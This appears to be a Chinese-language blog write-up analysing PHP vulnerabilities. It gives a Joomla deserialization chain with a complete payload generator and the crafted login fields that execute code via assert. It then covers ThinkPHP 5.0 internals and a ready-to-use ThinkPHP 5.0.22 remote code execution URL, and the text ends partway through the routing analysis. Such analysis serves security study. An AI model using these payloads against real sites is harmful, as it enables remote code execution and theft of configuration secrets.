<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031162339790-2137173258.png" alt="" width="393" height="250" loading="lazy"><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031162618304-261047353.png" alt="" width="305" height="90" loading="lazy"></p>
<p>当<span style="background-color: rgba(255, 255, 153, 1)">JDatabaseDriverMysqli</span>这个类的对象被调用,在结束时都会调用析构函数<span style="background-color: rgba(255, 255, 153, 1)">__destruct</span>,<span style="background-color: rgba(255, 255, 153, 1)">__destruct</span>中会调用<span style="background-color: rgba(255, 255, 153, 1)">disconnect()</span>方法。</p>
<p>而当<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;connection</span>为true的时候,就会调用<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array(\$h, array(&amp;\$this));</span> 方法对<span style="background-color: rgba(255, 255, 153, 1)">disconnectHandlers</span>数组中的每个值,都会执行<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array()</span>,并将<span style="background-color: rgba(255, 255, 153, 1)">&amp;$this</span>作为参数引用,但是不能控制参数,所以不能直接构造assert+eval来执行任意代码。</p>
<p>继续往下看发现在<span style="background-color: rgba(255, 255, 153, 1)">libraries\simplepie\simplepie.php</span>中有一处<span style="background-color: rgba(255, 255, 153, 1)">call_user_func</span>方法调用</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031171046685-27582232.png" alt="" width="1065" height="230" loading="lazy"></p>
<p>这个<span style="background-color: rgba(255, 255, 153, 1)">call_user_func(\$this-&gt;cache_name_function, \$this-&gt;feed_url)</span>两个参数都是可控的,于是只要满足<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;cache</span>为True,<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;raw_data</span>为True,<span style="background-color: rgba(255, 255, 153, 1)">$parsed_feed_url['scheme']</span>不为空就能够RCE了,并且<span style="background-color: rgba(255, 255, 153, 1)">$parsed_feed_url['scheme']</span>可以能够利用<span style="background-color: rgba(255, 255, 153, 1)">|| $a='http//';</span>绕过scheme的解析</p>
<p>不过这个<span style="background-color: rgba(255, 255, 153, 1)">call_user_func</span>属于<span style="background-color: rgba(255, 255, 153, 1)">init()</span>方法,并不属于魔术方法,所以需要结合前面<span style="background-color: rgba(255, 255, 153, 1)">JDatabaseDriverMysqli</span>类下的<span style="background-color: rgba(255, 255, 153, 1)">disconnect()</span>中的<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array</span>方法实现对<span style="background-color: rgba(255, 255, 153, 1)">init()</span>方法的回调。就相当于:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;disconnectHandlers = array(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">"</span>=&gt;array(<span style="color: rgba(0, 0, 255, 1)">new</span> SimplePie(),<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">init</span><span style="color: rgba(128, 0, 0, 1)">"</span>));</span></pre>
</div>
<p>这样的话就相当于实例化了一个<span style="background-color: rgba(255, 255, 153, 1)">SimplePie</span>类的对象,并且调用SimplePie类下的<span style="background-color: rgba(255, 255, 153, 1)">init()</span>方法。</p>
<p>官方给的有相似的例子:https://www.php.net/manual/zh/function.call-user-func-array.php</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031183359170-2100939305.png" alt="" width="331" height="353" loading="lazy"></p>
<p>这里还有一个问题,虽然实例化了一个<span style="background-color: rgba(255, 255, 153, 1)">SimplePie</span>的类,但是<span style="background-color: rgba(255, 255, 153, 1)">SimplePie</span>类不会自动加载。需要去引入加载类。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">/libraries/legacy/simplepie/factory.php</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031184225965-1491276190.png" alt="" width="556" height="245" loading="lazy"></p>
<p>发现刚开始就导入了<span style="background-color: rgba(255, 255, 153, 1)">SimplePie</span>类,并且<span style="background-color: rgba(255, 255, 153, 1)">JSimplepieFactory</span>类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载<span style="background-color: rgba(255, 255, 153, 1)">SimplePie</span>。</p>
<p>payload如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> JSimplepieFactory{}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> JDatabaseDriverMysql{}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> JDatabaseDriverMysqli
{
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $abc;
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $connection;
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $disconnectHandlers;
    function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;abc = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> JSimplepieFactory();
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;connection = <span style="color: rgba(128, 0, 128, 1)">1</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;disconnectHandlers =<span style="color: rgba(0, 0, 0, 1)"> [
            [</span><span style="color: rgba(0, 0, 255, 1)">new</span> SimplePie, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">init</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">],
      ];
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> SimplePie
{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $sanitize;
    </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $cache_name_function;
    </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $feed_url;
    function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;feed_url = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();JFactory::getConfig();exit;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;cache_name_function = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">assert</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;sanitize = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> JDatabaseDriverMysql();
    }
}
$obj </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> JDatabaseDriverMysqli();
$ser </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($obj);
echo str_replace(chr(</span><span style="color: rgba(128, 0, 128, 1)">0</span>) . <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">*</span><span style="color: rgba(128, 0, 0, 1)">'</span> . chr(<span style="color: rgba(128, 0, 128, 1)">0</span>), <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0</span><span style="color: rgba(128, 0, 0, 1)">'</span>, $ser);<br>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031184943496-829724283.png" alt="" width="986" height="175" loading="lazy"></p>
<p>最后构造的账号密码为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">username:\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span>\<span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">
<br>password:</span><span class="line">123";s:4:"test":</span>O:<span style="color: rgba(128, 0, 128, 1)">21</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">JDatabaseDriverMysqli</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">3</span>:{s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0abc</span><span style="color: rgba(128, 0, 0, 1)">"</span>;O:<span style="color: rgba(128, 0, 128, 1)">17</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">JSimplepieFactory</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">0</span>:{}s:<span style="color: rgba(128, 0, 128, 1)">13</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0connection</span><span style="color: rgba(128, 0, 0, 1)">"</span>;i:<span style="color: rgba(128, 0, 128, 1)">1</span>;s:<span style="color: rgba(128, 0, 128, 1)">21</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0disconnectHandlers</span><span style="color: rgba(128, 0, 0, 1)">"</span>;a:<span style="color: rgba(128, 0, 128, 1)">1</span>:{i:<span style="color: rgba(128, 0, 128, 1)">0</span>;a:<span style="color: rgba(128, 0, 128, 1)">2</span>:{i:<span style="color: rgba(128, 0, 128, 1)">0</span>;O:<span style="color: rgba(128, 0, 128, 1)">9</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">SimplePie</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">3</span>:{s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">sanitize</span><span style="color: rgba(128, 0, 0, 1)">"</span>;O:<span style="color: rgba(128, 0, 128, 1)">20</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">JDatabaseDriverMysql</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">0</span>:{}s:<span style="color: rgba(128, 0, 128, 1)">19</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">cache_name_function</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">assert</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">feed_url</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">37</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();JFactory::getConfig();exit;</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}i:<span style="color: rgba(128, 0, 128, 1)">1</span>;s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">init</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}}}</span></pre>
</div>
<p>尝试登录:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031191958890-1245568233.png" alt="" width="1019" height="168" loading="lazy"></p>
<p>成功执行命令</p>
<h1>Thinkphp5.0.24反序列化导致命令执行</h1>
<h2>Thinkphp框架流程</h2>
<p>此部分内容参考与《TP5.0.xRCE&amp;5.0.24反序列化分析》</p>
<p>这里将Thinkphp5.0.22解包之后可以看到如下目录结构:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201104235402918-1496995877.png" alt="" width="422" height="261" loading="lazy"></p>
<p>根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为<span style="background-color: rgba(255, 255, 153, 1)">application</span>,而think命名空间则代表了文件的其实目录为<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think</span>,后面的命名空间则表示从起始目录开始的子目录,如下图所示:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201104235944649-946485747.png" alt="" width="720" height="393" loading="lazy"></p>
<h3>Thinkphp框架的入口文件为:<span style="background-color: rgba(255, 255, 153, 1)">public/index.php</span></h3>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201105234351206-683863622.png" alt="" width="341" height="146" loading="lazy"></p>
<h3>框架引导文件:<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/start.php</span></h3>
<p><span style="background-color: rgba(255, 255, 153, 1)"><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201105234726445-837110798.png" alt="" width="339" height="215" loading="lazy"></span></p>
<h3><span style="background-color: rgba(255, 255, 153, 1)"><span style="background-color: rgba(255, 255, 255, 1)">基础文件:</span><span style="background-color: rgba(255, 255, 153, 1)">thinkphp/base.php</span></span></h3>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201105234451786-387181873.png" alt="" width="415" height="474" loading="lazy"></p>
<p>此文件具体做了以下操作:</p>
<ul>
<li>定义了一些define常量</li>
<li>载入了Loader类</li>
<li>加载环境变量配置文件</li>
<li>注册自动加载</li>
<li>注册错误和异常处理机制处理</li>
<li>加载默惯例配置文件</li>
</ul>
<p>这其中比较重要的就是<span style="background-color: rgba(255, 255, 153, 1)">注册自动加载机制</span>,跟踪进<span style="background-color: rgba(255, 255, 153, 1)">Loader:regiester()</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201105235510124-932867136.png" alt="" width="648" height="599" loading="lazy"></p>
<p>具体有以下几个部分:</p>
<p>1. 注册系统自动加载</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1); font-size: 13px">使用了<span style="background-color: rgba(255, 255, 153, 1)">spl_autoload_register</span>函数,这是一个自动加载函数,若是实例化一个未定义的类时就会触发该函数,然后会触发第一个参数
作为指定的方法,可以看到此函数指定了<span style="background-color: rgba(255, 255, 153, 1)">think\Loader::autoload</span>作为触发方法</span></pre>
</div>
<p>2. Composer自动加载支持</p>
<p>3. 注册命名空间定义</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1); font-size: 13px">think =&gt; thinkphp/library/think
behavior =&gt; thinkphp/library/behavior
traits =&gt; thinkphp/library/traits</span></pre>
</div>
<p>4. 加载类库映射文件</p>
<p>5. 自动加载extend目录</p>
<h3>执行应用(thinkphp/library/think/App.php)</h3>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201106001143218-1177644995.png" alt="" width="524" height="327" loading="lazy"></p>
<p>如上为部分代码,首先返回一个request实例,初始化应用并返回配置信息(<span style="background-color: rgba(255, 255, 153, 1)">self::initCommon</span>)。</p>
<p>之后进行如下的操作:</p>
<ul>
<li>查看是否存在模块/控制器绑定:<span style="background-color: rgba(255, 255, 153, 1)">defined('BIND_MODULE')</span></li>
<li>对于request的实例根据设置的过滤规则进行过滤:<span style="background-color: rgba(255, 255, 153, 1)">\$request-&gt;filter(\$config['default_filter'])</span></li>
<li>加载系统语言包</li>
<li>监听app_dispatch,并获取应用调度信息:<span style="background-color: rgba(255, 255, 153, 1)">Hook::listen('app_dispatch',&nbsp;self::$dispatch)</span></li>
<li>未设置调度信息则进行URL路由检测:<span style="background-color: rgba(255, 255, 153, 1)">self::routeCheck(\$request,&nbsp;$config)</span></li>
<li>记录当前调度信息,路由以及请求信息到日志中</li>
<li>请求缓存检查并进行 <span style="background-color: rgba(255, 255, 153, 1)">\$data = self::exec(\$dispatch, $config)</span>,根据<span style="background-color: rgba(255, 255, 153, 1)">$dispatch</span>进行不同的调度,返回<span style="background-color: rgba(255, 255, 153, 1)">$data </span></li>
<li>清除类的实例化:<span style="background-color: rgba(255, 255, 153, 1)">Loader::clearInstance()</span></li>
<li>输出数据到客户端,<span style="background-color: rgba(255, 255, 153, 1)">\$response = $data</span>,返回一个<span style="background-color: rgba(255, 255, 153, 1)">Response</span>类实例</li>
<li>调用<span style="background-color: rgba(255, 255, 153, 1)">Response-&gt;send()</span>方法将数据返回给客户端</li>
</ul>
<p>大概整个流程图如下:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201105233100994-46839586.png" alt="" width="539" height="534" loading="lazy"></p>
<p>这里要特别提一下这个URL路由检测(<span style="background-color: rgba(255, 255, 153, 1)">routeCheck</span>)</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201106004036205-1735315026.png" alt="" width="544" height="584" loading="lazy"></p>
<p>通过<span style="background-color: rgba(255, 255, 153, 1)">\$path = $request-&gt;path()</span>获取到请求的path_info,<span style="background-color: rgba(255, 255, 153, 1)">$depr</span>是定义的分隔符,默认为<span style="background-color: rgba(255, 255, 153, 1)">'&nbsp;/ '</span>,之后进行路由检测步骤如下:</p>
<ul>
<li>查看是否存在路由缓存,存在就包含</li>
<li>读取应用所在的路由文件,一般默认为route.php</li>
<li>导入路由配置</li>
<li><span style="background-color: rgba(255, 255, 153, 1)">Route::check</span>(根据路由定义返回不同的URL调度)</li>
<li>检查是否强制使用路由<span style="background-color: rgba(255, 255, 153, 1)"> \$must = !is_null(self::\$routeMust) ? self::\$routeMust : \$config['url_route_must']</span></li>
<li>路由无效,将自动解析模块的URL地址会进入到<span style="background-color: rgba(255, 255, 153, 1)">Route::parseUrl(\$path, \$depr, $config['controller_auto_search'])</span></li>
</ul>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">Route::check</span>,具体做了以下操作:</p>
<ul>
<li>检查解析缓存</li>
<li>替换分隔符,<span style="background-color: rgba(255, 255, 153, 1)">str_replace(\$depr,&nbsp;'|',&nbsp;$url)</span>,将<span style="background-color: rgba(255, 255, 153, 1)">' / '</span>换成了<span style="background-color: rgba(255, 255, 153, 1)">' | '</span></li>
<li>获取当前请求类型的路由规则,由于在之前的Composer自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在<span style="background-color: rgba(255, 255, 153, 1)">\$rules = isset(self::\$rules[\$method]) ? self::\$rules[\$method] : [];</span>中的<span style="background-color: rgba(255, 255, 153, 1)">Route::$rules['get']</span>已经存在了相应的路由规则</li>
</ul>
<ul>
<li>检测域名部署:<span style="background-color: rgba(255, 255, 153, 1)">self::checkDomain(\$request, \$rules,&nbsp;$method);</span></li>
</ul>
<ul>
<li>检测URL绑定:<span style="background-color: rgba(255, 255, 153, 1)">self::checkUrlBind(\$url, \$rules,&nbsp;$depr);</span></li>
<li>静态路由规则检查:<span style="background-color: rgba(255, 255, 153, 1)">self::checkOption(\$rule['option'], \$request)</span></li>
<li><span style="background-color: rgba(255, 255, 153, 1)"><span style="background-color: rgba(255, 255, 255, 1)">路由规则检查:</span>self::checkRoute(\$request, \$rules, \$url, \$depr)</span></li>
</ul>
<p>继续跟进<span style="background-color: rgba(255, 255, 153, 1)">CheckRoute</span></p>
<ul>
<li>检查参数有效性:<span style="background-color: rgba(255, 255, 153, 1)">self::checkOption(\$option, \$request)</span></li>
<li>替换掉路由ext参数</li>
<li>检查分组路由</li>
<li>检查指定特殊路由,例如:<span style="background-color: rgba(255, 255, 153, 1)">__miss__和__atuo__</span></li>
<li>检查路由规则checkRule:<span style="background-color: rgba(255, 255, 153, 1)">self::checkRule(\$rule, \$route,\$url,&nbsp;$pattern, \$option, \$depr);</span></li>
<li>最终未被匹配路由的进入到<span style="background-color: rgba(255, 255, 153, 1)">self::parseRule('', \$miss['route'], \$url, $miss['option'])</span>进行处理,这就牵涉到TP对于路由的多种定义</li>
</ul>
<p><span style="color: rgba(51, 51, 51, 1); font-family: &quot;Monospaced Number&quot;, &quot;Chinese Quote&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 15px; letter-spacing: 0.75px">整个路由流程如下图:</span></p>
<p><span style="color: rgba(51, 51, 51, 1); font-family: &quot;Monospaced Number&quot;, &quot;Chinese Quote&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 15px; letter-spacing: 0.75px"><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201106205204037-299015383.png" alt="" width="832" height="632" loading="lazy"></span></p>
<h3>thinkphp传参</h3>
<p>在具体分析流程前传参方式,首先介绍一下模块等参数</p>
<ul>
<li>模块 : <span style="background-color: rgba(255, 255, 153, 1)">application\index</span>,这个index就是一个模块,负责前台相关</li>
<li>控制器 : 在模块中的文件夹<span style="background-color: rgba(255, 255, 153, 1)">controller</span>,即为控制器,负责业务逻辑</li>
<li>操作 : 在控制器中定义的方法,比如在默认文件夹中<span style="background-color: rgba(255, 255, 153, 1)">application\index\controller\Index.php</span>中就有两个方法,index和hello</li>
<li>参数 : 就是定义的操作需要传的参数</li>
</ul>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108184201234-866283645.png" alt="" width="852" height="315" loading="lazy"></p>
<p>在本文中会用到两种传参方式,其他的方式可以自行了解</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(128, 0, 128, 1)">1</span>. PATH_INFO模式 : http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...</span>

<span style="color: rgba(128, 0, 128, 1)">2</span>. 兼容模式 : http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/public/index.php?s=/模块/控制器/操作&amp;(参数名)=(参数值)...</span></span></pre>
</div>
<p>其中index.php就称之为应用的入口文件</p>
<p>模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。</p>
<p>如果直接访问入口文件<span style="background-color: rgba(255, 255, 153, 1)">index.php</span>的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(index)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php</span>
http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/index</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108184621397-2007976101.png" alt="" width="497" height="239" loading="lazy"></p>
<p>如果要访问index控制器的hello方法,则需要使用完整的URL地址:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/hello/name/bmjoker</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108184817546-1086648450.png" alt="" width="563" height="63" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">/hello/name/bmjoker</span>:hello是方法名,name是参数名称,bmjoker是传递进去的参数</p>
<p>如果是多个参数,再后面累加即可</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108194935131-1093395547.png" alt="" width="554" height="54" loading="lazy"></p>
<p>默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php/Index/Index</span>
http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php/INDEX/INDEX</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108195219754-83394007.png" alt="" width="578" height="233" loading="lazy"></p>
<p>在<span style="background-color: rgba(255, 255, 153, 1)">application\index\controller</span>目录下新建一个Test.php,我们访问下面链接即可访问到Test控制器下的hello方法:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/index.php/index/test/hello/name/bmjoker</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201108195944089-538635042.png" alt="" width="559" height="56" loading="lazy"></p>
<p>大概明白这个请求过程,下面来分析一下漏洞。</p>
<h2>Thinkphp5.0.22命令执行漏洞分析</h2>
<p>如果大概了解上面的thinkphp5的框架流程,下面的分析应该不会太晕。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">payload:
http:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/thinkphp_5.0.22/public/?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars=system&amp;vars[]=whoami</span><span style="color: rgba(0, 0, 0, 1)"><br></span></span></pre>
</div>
<p>依次来调试分析。</p>
<p>程序入口 <span style="background-color: rgba(255, 255, 153, 1)">public/index.php</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201109231246627-58000792.png" alt="" width="438" height="124" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">public/start.php</span>会去调用App类的run方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201109231346962-1247738830.png" alt="" width="274" height="94" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">run()</span>有两个比较重要的方法:<span style="background-color: rgba(255, 255, 153, 1)">routeCheck()方</span>法和<span style="background-color: rgba(255, 255, 153, 1)">exec()</span>方法</p>
<p>由于未设置调度信息,所以<span style="background-color: rgba(255, 255, 153, 1)">$dispatch</span>为null,进入if循环调用<span style="background-color: rgba(255, 255, 153, 1)">routeCheck()</span>方法进行URL路由检测</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201109231449360-339105155.png" alt="" width="759" height="449" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">routeCheck()</span>方法,看到最上面<span style="background-color: rgba(255, 255, 153, 1)">$path</span>通过path()方法获取,值为payload中s后面的参数<span style="background-color: rgba(255, 255, 153, 1)">"index/think\app/invokefunction"</span></p>
<p><span style="background-color: rgba(255, 255, 153, 1)"><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110000212836-250916839.png" alt="" width="906" height="566" loading="lazy"></span></p>
<p>这里可以尝试跟进一下<span style="background-color: rgba(255, 255, 153, 1)">path()</span>方法:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201109234256747-1493465291.png" alt="" width="645" height="354" loading="lazy"></p>
